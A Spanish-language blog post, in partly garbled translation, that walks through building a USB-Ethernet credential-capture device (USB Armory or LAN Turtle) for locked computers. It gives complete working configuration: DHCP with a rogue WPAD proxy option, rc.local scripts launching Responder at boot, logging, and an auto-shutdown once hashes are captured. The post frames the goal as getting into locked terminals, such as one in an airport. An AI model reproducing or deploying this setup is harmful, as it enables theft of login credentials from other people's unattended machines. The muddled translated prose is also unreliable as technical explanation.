Loggeando ordenadores bloqueados
Buen día a todos, aunque el tema no es nuevo, y eso lo sé porque a la pregunta de como quitar la protección por contraseña de un SO particularmente de windows, las primeras respuestas que encuentro en las comunidades es usar programas booteables como unlockerXXX y demas nombres que me pusieron (casi 15), sin embargo que pasa si nuestra intención es acceder a una terminal dentro de un aeropuerto talvez en el que no tenga lector de discos y el bios este protegido con contraseña y por lo tanto no se puede acceder a la configuracion para arrancar de algun medio extraible.
Primeramente y aunque el escenario nos da posibilidades muertas quiero indicar que no soy ni el unico ni el primero en hacer esta prueba, por cuanto la investigacion es parte de los creadores de los dispositivos.
Segundo que realizaron las pruebas varias veces con resultados positivos lo que nos permite asegurar de que funciona
USB Ethernet + DHCP + Responder == Creds
Tesis:
Hace muchos años veía que si ustedes apagan un ordenador notarán que la tarjeta de red aún permanece encendida, esto lo sabemos por los led indicadores de conexión. y me surgieron muchas preguntas a partir de esto; entonces...Si conecto un dispositivo que se enmascara como un adaptador USB de Ethernet y tiene un ordenador del otro lado, podría capturar las credenciales incluso cuando este está bloqueado?
Dispositivo
Comencé con un USB Armory(155 dólares) pero debajo les mostraré como hacer esto mismo con una Hak5 Turtle (49.99 dólares). dejaré la configuración del dispositivo base, pero aquí hay algunos links para que puedan empezar.
USB Armory
- Debian/Jessie - https://github.com/inversepath/usbarmory/wiki/Starting#preparing-your-own-microsd-card
- Kali en USB Armory - http://docs.kali.org/kali-on-arm/kali-linux-on-usb-armory
- Reescalando tamaño de una particion SD - http://base16.io/?p=61
Hak5 Turtle
- Videoguía y wiki de Turtle: https://lanturtle.com/wiki/#!videos.md
Herramientas
básicamente la captura fue hecha con Laurent Gaffié’s Responder asi que es necesario encontrar el Responder en el dispositivoLa primera vez usted tendrá activado el módulo (conectado al acceso de internet) para conseguir las actualizaciones de todas las dependencias y paquetes.
entonces necesitas hacer un
opkg update and opkg install python-openssl de modo que el Responder corra correctamente. Esto es sólo una publicación temporal ya que el módulo está siendo arreglado para incluir este paso.
Para el USB Armory usted puede usar SCP, conexión a Internet compartida o como el adaptador de anfitrión/cliente USBAl instalar Debian/Jessie por defecto no tendrá el Pitón instalado entonces usted tendrá que trabajar hacia todas las dependencias (en la versión de Kali esto no es necesario) y requerirá acceso a Internet funcionando:
apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone https://github.com/spiderlabs/responder
Configuración
Armory
Primero, no será necesario configurar la interfaz pero nos ayudará con la consistencia ya que cad aimagen del Armory viene con diferentes direcciones IP por defecto y es bueno para sentar una base solida.
/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static
address 192.168.2.201
netmask 255.255.255.0
gateway 192.168.2.1
Lo siguiente será configurar el servidor DHCP
/etc/dhcp/dhcpd.conf
ddns-update-style none;
option domain-name "domain.local";
option domain-name-servers 192.168.2.201;
default-lease-time 60;
max-lease-time 72;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;
# wpad
option local-proxy-config code 252 = text;
# A slightly different configuration for an internal subnet.
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.1 192.168.2.2;
option routers 192.168.2.201;
option local-proxy-config "http://192.168.2.201/wpad.dat";
}
La única configuracion especial aquí es enviar la opción "proxy config" a cualquier cliente DHCP, no tegno idea por qué pero noto esta linea:
“DHCP has a higher priority than DNS: if DHCP provides the WPAD URL, no DNS lookup is performed.” y paso a revisarlo the Wikipedia article on WPAD
rc.local de modo que hará unas péqueñas cosas:1. Limpia todos los contratos DHCP e iniciar el servidor DHCP.- Esprobablemente el modo más elegante de hacer esto, pero porque este "ordenador" está conectado y recibiendo buena frecuencia. podríamos correr con un máximo de contratos o asignaciones pero probablemente el archivo será corrompido en algún punto entonces tendremos que quitarlo y añadirlo de nuevo.
2. Iniciar el Responder en una pantalla.- De esta forma podemos conseguir el loggin en la pantalla de sesion como una especie de buckup para la base de datos Sqlite3 y registrar archivos que el Responder crea.
/etc/rc.local
#!/bin/sh -e
# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases
# Start DHCP server
/usr/sbin/dhcpd
# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python Responder.py -I usb0 -f -w -r -d -F'
exit 0
activar el loggin en la pantalla de sesion. (también nos permitirá ver si nos equivocamos en algo) añadiremos un archivo .screenrc Hay mucho más que puse en este, sobre todo para la estética pero los importantes son estos:/root/.screenrc
# Logging
deflog on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log
Aquí, deberíamos ser capaces de rebootear el USBArmory y al arrancar escoger las credenciales a pegarAhora con Hak5 Turtle
Ya hicimos bastante, aquí la única diferencia es que opkg es nuestro manager de paquete:opkg update
opkg install python-openssl screen
Quitar el symlink a /tmp/ de forma que los logs se queden
rm -rf /overlay/etc/turtle/Responder/logs
y el archivo
/overlay/etc/rc.local es ligeramente diferente/overlay/etc/rc.local
/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder; python Responder.py -I br-lan -f -w -r -d -F'
Ahora bien; por qué es que esto trabaja?
Ahora, creo que hay restricciones para algunos tipos de dispositivos y asi evitar que se instalen durante el estado "Bloqueado" en sistemas operativos más recientes (Win10/El Capitan), pero Ethernet/LAN es definitivamente parte de su lista blanca.
2. Los ordenadores están creando tráfico constantemente, incluso si usted no tiene ningún navegador o aplicaciones abiertas, y la mayoría de las computadoras confían en su red local por cualquier razón.
3. La red es preferida cuando hay más que el gateway, o cuando la conexión de red esta basada en "métricas" en windows, y una combinación de métricas y preferencias en OSX,pero siempre encontrando en los usuarios que preconciben que "cableado" es más "estable y rápido" con mayor ganancia.
Esto significa que al conectarse al dispositivo accederan rapidamente al gateway, el servidor DNS,el servidor WPAD y otros gracias al Respondedor.
El tiempo promedio en que el dispositivo envia las credenciales al sistema bloqueado son de 13 segundos; para algunas modificaciones de configuracion he usado inotify para ver y cambiar un archivo como responder.db y silenciar el Armory
instalar el paquete
inotify-tools y añadr a rc.local el siguiente archivo :
:
echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'
Resultado Final
Esperando que lo disfruten



No hay comentarios:
Publicar un comentario